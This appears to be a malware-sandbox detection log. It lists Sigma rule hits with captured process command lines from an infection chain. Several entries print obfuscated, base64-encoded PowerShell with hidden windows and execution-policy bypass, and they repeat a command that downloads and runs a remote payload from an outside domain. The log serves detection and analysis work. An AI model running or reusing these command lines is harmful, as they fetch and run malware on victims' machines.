Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gU0xxKCRKRnhLeW5pail7DQooKCRKRnhLeW5paiAtc3BsaXQgJyg/PD1cRy4uKSd8JXskTHFsRlpScy5TdWJTdHJpbmcoMywxMDApWyRfXX0pICAtam9pbiAnJyAtcmVwbGFjZSAiLiQiKX07JExxbEZaUnMgPSdpZXhkT0pjeX5fNEc1X31nQUZtLUAwcHFZLnhCKW9oS2xRTHRCdS5XJVxhTW9JVEh7OjE2dlZlLypjeDdrdENYU3c7Um5pUXMwNEQjKDBOOWwyXCJmRTNyNWJ7IlJaOFV7MGp6UHZDNzU1MTU4MjIzNjUxODY5OTc3NjY1MTY1NTgn')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0JzQUc4QVlRQmtBRk1BZEFCeUFHa0FiZ0JuQUNnQUp3Qm9BSFFBZEFCd0FITUFPZ0F2QUM4QWN3QTNBQzRBYXdCc0FHa0FjQUJrQUhrQWR3QnZBSG9BYVFCNUFDNEFjd0JvQUc4QWNBQXZBR2dBZFFCckFHc0FOd0F1QUdvQWNBQmxBR2NBSndBcEFDa0FZQUFpQUNJQUlBQXRBRmNBYVFCdUFHUUFid0IzQUZNQWRBQjVBR3dBWlFBZ0FFZ0FhUUJrQUdRQVpRQnVBQT09Oy4gJGVudjpUZW1wXGEucHMxOyBmdW5jdGlvbiBKRnhLeW5paigpe2Z1bmN0aW9uIHZvck9jKCRlUFNySlpLKXtpZighKFRlc3QtUGF0aCAtUGF0aCAkSW5MKSl7Y3VybCAoU0xxICRlUFNySlpLKSAtbyAkSW5MfX19SkZ4S3luaWo7'))), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gU0xxKCRKRnhLeW5pail7DQooKCRKRnhLeW5paiAtc3BsaXQgJyg/PD1cRy4uKSd8JXskTHFsRlpScy5TdWJTdHJpbmcoMywxMDApWyRfXX0pICAtam9pbiAnJyAtcmVwbGFjZSAiLiQiKX07JExxbEZaUnMgPSdpZXhkT0pjeX5fNEc1X31nQUZtLUAwcHFZLnhCKW9oS2xRTHRCdS5XJVxhTW9JVEh7OjE2dlZlLypjeDdrdENYU3c7Um5pUXMwNEQjKDBOOWwyXCJmRTNyNWJ7IlJaOFV7MGp6UHZDNzU1MTU4MjIzNjUxODY5OTc3NjY1MTY1NTgn')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0Jz

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))" , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5776, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))" , ProcessId: 5936, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gU0xxKCRKRnhLeW5pail7DQooKCRKRnhLeW5paiAtc3BsaXQgJyg/PD1cRy4uKSd8JXskTHFsRlpScy5TdWJTdHJpbmcoMywxMDApWyRfXX0pICAtam9pbiAnJyAtcmVwbGFjZSAiLiQiKX07JExxbEZaUnMgPSdpZXhkT0pjeX5fNEc1X31nQUZtLUAwcHFZLnhCKW9oS2xRTHRCdS5XJVxhTW9JVEh7OjE2dlZlLypjeDdrdENYU3c7Um5pUXMwNEQjKDBOOWwyXCJmRTNyNWJ7IlJaOFV7MGp6UHZDNzU1MTU4MjIzNjUxODY5OTc3NjY1MTY1NTgn')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0JzQUc4QVlRQmtBRk1BZEFCeUFHa0FiZ0JuQUNnQUp3Qm9BSFFBZEFCd0FITUFPZ0F2QUM4QWN3QTNBQzRBYXdCc0FHa0FjQUJrQUhrQWR3QnZBSG9BYVFCNUFDNEFjd0JvQUc4QWNBQXZBR2dBZFFCckFHc0FOd0F1QUdvQWNBQmxBR2NBSndBcEFDa0FZQUFpQUNJQUlBQXRBRmNBYVFCdUFHUUFid0IzQUZNQWRBQjVBR3dBWlFBZ0FFZ0FhUUJrQUdRQVpRQnVBQT09Oy4gJGVudjpUZW1wXGEucHMxOyBmdW5jdGlvbiBKRnhLeW5paigpe2Z1bmN0aW9uIHZvck9jKCRlUFNySlpLKXtpZighKFRlc3QtUGF0aCAtUGF0aCAkSW5MKSl7Y3VybCAoU0xxICRlUFNySlpLKSAtbyAkSW5MfX19SkZ4S3luaWo7'))), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gU0xxKCRKRnhLeW5pail7DQooKCRKRnhLeW5paiAtc3BsaXQgJyg/PD1cRy4uKSd8JXskTHFsRlpScy5TdWJTdHJpbmcoMywxMDApWyRfXX0pICAtam9pbiAnJyAtcmVwbGFjZSAiLiQiKX07JExxbEZaUnMgPSdpZXhkT0pjeX5fNEc1X31nQUZtLUAwcHFZLnhCKW9oS2xRTHRCdS5XJVxhTW9JVEh7OjE2dlZlLypjeDdrdENYU3c7Um5pUXMwNEQjKDBOOWwyXCJmRTNyNWJ7IlJaOFV7MGp6UHZDNzU1MTU4MjIzNjUxODY5OTc3NjY1MTY1NTgn')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0Jz

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))" , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5776, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))" , ProcessId: 5936, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;", CommandLine: powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /k start powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2300, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcw

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))" , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5776, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))" , ProcessId: 5936, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\system32\cmd.exe" /k start powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;", CommandLine: "C:\Windows\system32\cmd.exe" /k start powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gU0xxKCRKRnhLeW5pail7DQooKCRKRnhLeW5paiAtc3BsaXQgJyg/PD1cRy4uKSd8JXskTHFsRlpScy5TdWJTdHJpbmcoMywxMDApWyRfXX0pICAtam9pbiAnJyAtcmVwbGFjZSAiLiQiKX07JExxbEZaUnMgPSdpZXhkT0pjeX5fNEc1X31nQUZtLUAwcHFZLnhCKW9oS2xRTHRCdS5XJVxhTW9JVEh7OjE2dlZlLypjeDdrdENYU3c7Um5pUXMwNEQjKDBOOWwyXCJmRTNyNWJ7IlJaOFV7MGp6UHZDNzU1MTU4MjIzNjUxODY5OTc3NjY1MTY1NTgn')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQU

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gU0xxKCRKRnhLeW5pail7DQooKCRKRnhLeW5paiAtc3BsaXQgJyg/PD1cRy4uKSd8JXskTHFsRlpScy5TdWJTdHJpbmcoMywxMDApWyRfXX0pICAtam9pbiAnJyAtcmVwbGFjZSAiLiQiKX07JExxbEZaUnMgPSdpZXhkT0pjeX5fNEc1X31nQUZtLUAwcHFZLnhCKW9oS2xRTHRCdS5XJVxhTW9JVEh7OjE2dlZlLypjeDdrdENYU3c7Um5pUXMwNEQjKDBOOWwyXCJmRTNyNWJ7IlJaOFV7MGp6UHZDNzU1MTU4MjIzNjUxODY5OTc3NjY1MTY1NTgn')));cmd.exe /k start powershell -w 1 